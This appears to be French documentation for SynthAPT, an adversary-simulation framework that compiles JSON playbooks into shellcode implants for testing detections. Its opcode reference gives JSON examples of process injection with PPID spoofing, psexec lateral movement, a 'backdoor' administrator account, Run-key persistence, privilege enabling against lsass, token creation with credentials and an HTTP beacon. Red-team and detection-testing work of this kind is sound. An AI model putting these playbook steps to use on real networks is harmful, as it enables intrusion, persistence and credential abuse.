SynthAPT

Aperçu

SynthAPT est un framework de simulation d'adversaires basé sur des playbooks pour reproduire des chemins d'attaque complexes. Il est conçu pour valider les détections avancées et les agents d'investigation basés sur l'IA. L'idée centrale est que le comportement des malwares peut être exprimé en JSON et compilé en un malware fonctionnel, permettant un développement rapide de scénarios réalistes à l'aide de LLMs.

L'implant central est une charge utile de shellcode pilotée par un interpréteur de playbook. Un playbook prédéfinit l'intégralité du chemin d'attaque et l'implant le suit, se déplaçant dans l'environnement via l'injection de processus, le mouvement latéral, etc. Chaque implant apparaît comme un thread indépendant avec son propre jeu d'instructions, de sorte que les attaques multi-étapes (par exemple, accès initial → élévation de privilèges → mouvement latéral → exfiltration) sont exprimées sous forme de graphe d'implants coopérants, tous définis à l'avance dans le playbook. Cela présente trois avantages majeurs :

Les charges utiles peuvent imiter de vrais malwares sans infrastructure C2 - le chemin d'attaque complet est intégré dans la charge utile et les interactions C2 peuvent être simulées
Les charges utiles sont reproductibles - elles exécutent l'intégralité du chemin d'attaque de manière identique à chaque fois, ce qui les rend adaptées aux tests de régression des détections
Les LLMs peuvent traduire des rapports de renseignement sur les menaces et des blogs directement en charges utiles fonctionnelles, sans nécessiter d'expertise offensive ni de construction de malwares à partir de zéro

Champ	Type
task	u8	optionnel
magic	u32 hex string or number	optionnel
{ "op": "get_shellcode" }
{ "op": "get_shellcode", "task": 5, "magic": "0x18181818" }

Champ	Type
command	string	obligatoire
{ "op": "run_command", "command": "whoami /all" }

Field	Type
path	string	obligatoire
{ "op": "read_file", "path": "c:\users\public\data.txt" }
{ "op": "read_file", "path": "%0" }

Field	Type
var	u16	requis
{ "op": "check_error", "var": 0 }

Field	Type
var	u16	obligatoire
data	bytes	optionnel (vide si omis)

Field	Type
image	string	requis
task_id	u8	requis
pipe_name	string	optionnel (tube nommé pour capturer la sortie, sans le préfixe `\\.\pipe\`)
search	string	optionnel (nom de processus/ligne de commande pour usurper le PPID)
no_kill	bool	optionnel (par défaut : false — le processus est tué après l'injection)
{ "op": "sacrificial", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 }
{ "op": "sacrificial", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" }

Champ	Type
port	u16	obligatoire
magic_base	u32 chaîne hexadécimale ou nombre	optionnel
{ "op": "shellcode_server", "port": 8080 }
{ "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" }

Champ	Type
target	string	requis (nom d'hôte ou IP)
service_name	string	requis
display_name	string	requis
binary_path	string	requis (chemin sur l'hôte distant)
service_bin	bytes	requis (données binaires à écrire)
{ "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\windows\temp\svc.exe", "service_bin": "$0" }

Champ	Type
bof_data	octets	obligatoire
entry	chaîne	facultatif (défaut : `"go"`)
inputs	octets	facultatif (arguments BOF, vide si omis)
{ "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" }
{ "op": "run_bof", "bof_data": "$0" }

Champ	Type
dn	string	requis
attr	string	requis
value	string	requis
{ "op": "set_ad_attr_str", "dn": "CN=user,CN=Users,DC=corp,DC=local", "attr": "description", "value": "owned" }

Field	Type
targets	string	obligatoire (adresses IP, CIDR, plages ou noms d'hôte séparés par des virgules ; alias : `host`)
ports	string	obligatoire (ports ou plages séparés par des virgules, ex. `"22,80,443,8000-8100"`)
{ "op": "portscan", "targets": "10.0.0.0/24", "ports": "22,80,443,445,3389" }
{ "op": "portscan", "targets": "192.168.1.1-192.168.1.50,dc01.corp.local", "ports": "80,8000-8100" }

Field	Type
group	string	obligatoire
username	string	obligatoire
server	string	optionnel (vide = machine locale)
{ "op": "add_user_to_localgroup", "group": "Administrators", "username": "backdoor" }
{ "op": "add_user_to_localgroup", "server": "ws01", "group": "Remote Desktop Users", "username": "CORP\attacker" }

Field	Type
key	string	obligatoire (chemin complet, ex. `"HKLM\\SOFTWARE\\MyApp"`)
{ "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" }

Champ	Type
key	string	obligatoire
value_name	string	obligatoire (chaîne vide pour la valeur par défaut)
value	bytes	obligatoire
value_type	string	facultatif (par défaut : `"REG_SZ"` ; aussi : `REG_DWORD`, `REG_BINARY`, `REG_EXPAND_SZ`, `REG_MULTI_SZ`, `REG_QWORD`)
{ "op": "reg_set_value", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "value_name": "Updater", "value": "C:\Windows\Temp\payload.exe" }
{ "op": "reg_set_value", "key": "HKLM\SOFTWARE\MyApp", "value_name": "Count", "value_type": "REG_DWORD", "value": { "hex": "05000000" } }

Champ	Type
privilege	string	obligatoire (alias : `priv_name`)
search	string	optionnel (vide = processus actuel)
{ "op": "enable_privilege", "privilege": "SeDebugPrivilege" }
{ "op": "enable_privilege", "search": "lsass", "privilege": "SeTcbPrivilege" }

Champ	Type
username	string	obligatoire
password	string	obligatoire
domain	string	optionnel (vide = groupe de travail ou format UPN)
logon_type	u8	optionnel (par défaut : `9` ; `2` = interactif, `3` = réseau)
{ "op": "make_token", "domain": "corp", "username": "bob", "password": "Password1" }
{ "op": "make_token", "username": "[email protected]", "password": "Password1" }
{ "op": "make_token", "domain": ".", "username": "localadmin", "password": "Password1", "logon_type": 2 }

Champ	Type
hook_id	i32	optionnel (ID du hook retourné par `frida_hook`)
name	string	optionnel (nom du hook défini avec le champ `name` de `frida_hook`)
{ "op": "frida_unhook" }
{ "op": "frida_unhook", "hook_id": 1 }
{ "op": "frida_unhook", "name": "my_hook" }

Champ	Type
host	string	facultatif
port	u16	facultatif (par défaut: `80`)
interval	u32	facultatif (intervalle d'interrogation en ms ; par défaut: `5000`)
secure	bool	facultatif (par défaut: `false`)
agent_id	string	facultatif (identifiant envoyé dans les requêtes de beacon)
{ "op": "http_beacon", "host": "10.0.0.1", "port": 443, "interval": 10000, "secure": true }

Field	Type
pid	u32 or `"all"`	optionnel (omettre = processus actuel ; `"all"` = tout processus accessible)
{ "op": "dll_list" }
{ "op": "dll_list", "pid": 1234 }
{ "op": "dll_list", "pid": "all" }

Champ	Type
task_id	u8	requis
export_name	string	optionnel (par défaut : `"Run"`)
{ "op": "generate_dll", "task_id": 2 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\temp\payload.dll", "content": "$0" }

Champ	Type
service_name	string	requis (alias: `name`)
{ "op": "register_service", "service_name": "MySvc" }

Champ	Type
pid	u32 ou `"all"`	optionnel (omis = processus actuel ; `"all"` = tous les processus accessibles)
{ "op": "malfind" }
{ "op": "malfind", "pid": 1234 }
{ "op": "malfind", "pid": "all" }

SynthAPT

Populaires

SynthAPT

Aperçu

Fonctionnalités

Compilation à partir des sources

Utilisation

Référence des opcodes

get_shellcode (0x02)

run_command (0x04)

read_file (0x06)

check_error (0x08)

set_var (0x0A)

goto (0x0C)

list_procs (0x0E)

wmi_exec (0x10)

sacrificial (0x12)

shellcode_server (0x14)

psexec (0x16)

run_bof (0x18)

set_ad_attr_str (0x1A)

portscan (0x1C)

add_user_to_localgroup (0x1E)

get_user_sid (0x20)

remove_user_from_group (0x22)

reg_create_key (0x24)

reg_set_value (0x26)

make_token (0x28)

enable_privilege (0x2A)

list_thread_privs (0x2C)

revert_to_self (0x2E)

delete_service (0x30)

generate_dll (0x32)

shell_extract (0x34)

load_library (0x36)

hollow (0x38)

register_service (0x3A)

hollow_apc (0x3C)

frida_unhook (0x40)

http_beacon (0x43)

dll_list (0x45)

malfind (0x47)

Détection

Attribution